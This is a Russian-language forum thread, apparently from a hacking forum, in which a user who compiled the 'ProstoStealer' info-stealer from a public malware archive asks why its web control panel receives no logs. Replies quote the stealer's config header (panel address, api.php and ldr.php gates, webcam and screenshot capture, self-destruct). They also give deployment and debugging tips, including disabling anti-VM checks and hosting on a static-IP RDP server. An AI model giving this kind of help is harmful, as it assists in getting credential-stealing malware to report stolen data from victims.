Почему не стучит просто стиллер???

[yashechka]

https://github.com/vxunderground/MalwareSourceCode/raw/main/Win32/Stealers/Win32.ProstoStealer.7z

Хочу понять как идет взаимодействие exe файла с веб панелью. Взял самый просто стиллер, просто стиллер. Но в панельку ничего не падает. Компилируется на ура, два коммента убрал, но также ничего не падает. Кто может посмотреть помочь.

 

[_lain]

_lain сказал(а):
А пасс какой?

а блин нашел, его блин разварачивать надо, я думал просто стаб

 

[_lain]

А там паса нет, там такой конфиг

#pragma once
#include <windows.h>

#define ADMIN_PANEL L"127.0.0.1"
#define API_URL L"/api.php"
#define LDR_URL "/ldr.php"

void randomInt(SIZE_T* out, int from, int to);
LPCWSTR resolveEnvrimoment(const WCHAR* env);
BOOL pathExists(LPCWSTR path, BOOL isFile);
LPCWSTR bitGetHostByName(LPCWSTR domain);
int captureScreenshot(LPCWSTR szFile);
void captureCam(WCHAR* szPath);
void CryptGenKey(BYTE** data);
LPCWSTR getSystemInfoW();
void selfDestruct();
LPCSTR genCountry();
CHAR* randKey();

 

[yashechka]

L"127.0.0.1" менял на локал хост

 

[yashechka]

yashechka сказал(а):
L"127.0.0.1" менял на локал хост

вообще никакие запросы не отправляет?

 

[_lain]

Я перехватчик ещё не запускал не проверял

 

[yashechka]

yashechka сказал(а):
Я перехватчик ещё не запускал не проверял

попробуй в начале добавить http:// в стабе (#define ADMIN_PANEL L"127.0.0.1")

 

[_lain]

yashechka сказал(а):
Я перехватчик ещё не запускал не проверял

Отключай antiVM, скорее всего не работает тк пытаешься перехватить пакеты или запустить на виртуалке.

 

[proxy]

proxy сказал(а):
Отключай antiVM, скорее всего не работает тк пытаешься перехватить пакеты или запустить на виртуалке.

В исходном коде нет защиты антиВМ

 

[yashechka]

yashechka сказал(а):
Хочу понять как идет взаимодействие exe файла с веб панелью.

На гейт лог, наверное, просто отправляется и всё

 

[Ladger]

"Фанат Рикардо Нарвахи". Переводил его текста, а сути не впитал. Называется смотрю в книгу вижу фигу =) Включай отладчик и смотри что происходит...

 

[50cent]

Если сложно с отладчиком, бери студию, открывай там проект, жми ф5 и пошагово выполняй код. Что будет на этапе коннекта, олтправки запроса и т.д. Мб там ошибка РНР (или на чем там админка?), да миллион вариантов.

 

[Quake3]

yashechka сказал(а):

https://github.com/vxunderground/MalwareSourceCode/raw/main/Win32/Stealers/Win32.ProstoStealer.7z

Хочу понять как идет взаимодействие exe файла с веб панелью. Взял самый просто стиллер, просто стиллер. Но в панельку ничего не падает. Компилируется на ура, два коммента убрал, но также ничего не падает. Кто может посмотреть помочь.

Попр

попробуй на рдп с статичным ип, я думаю получится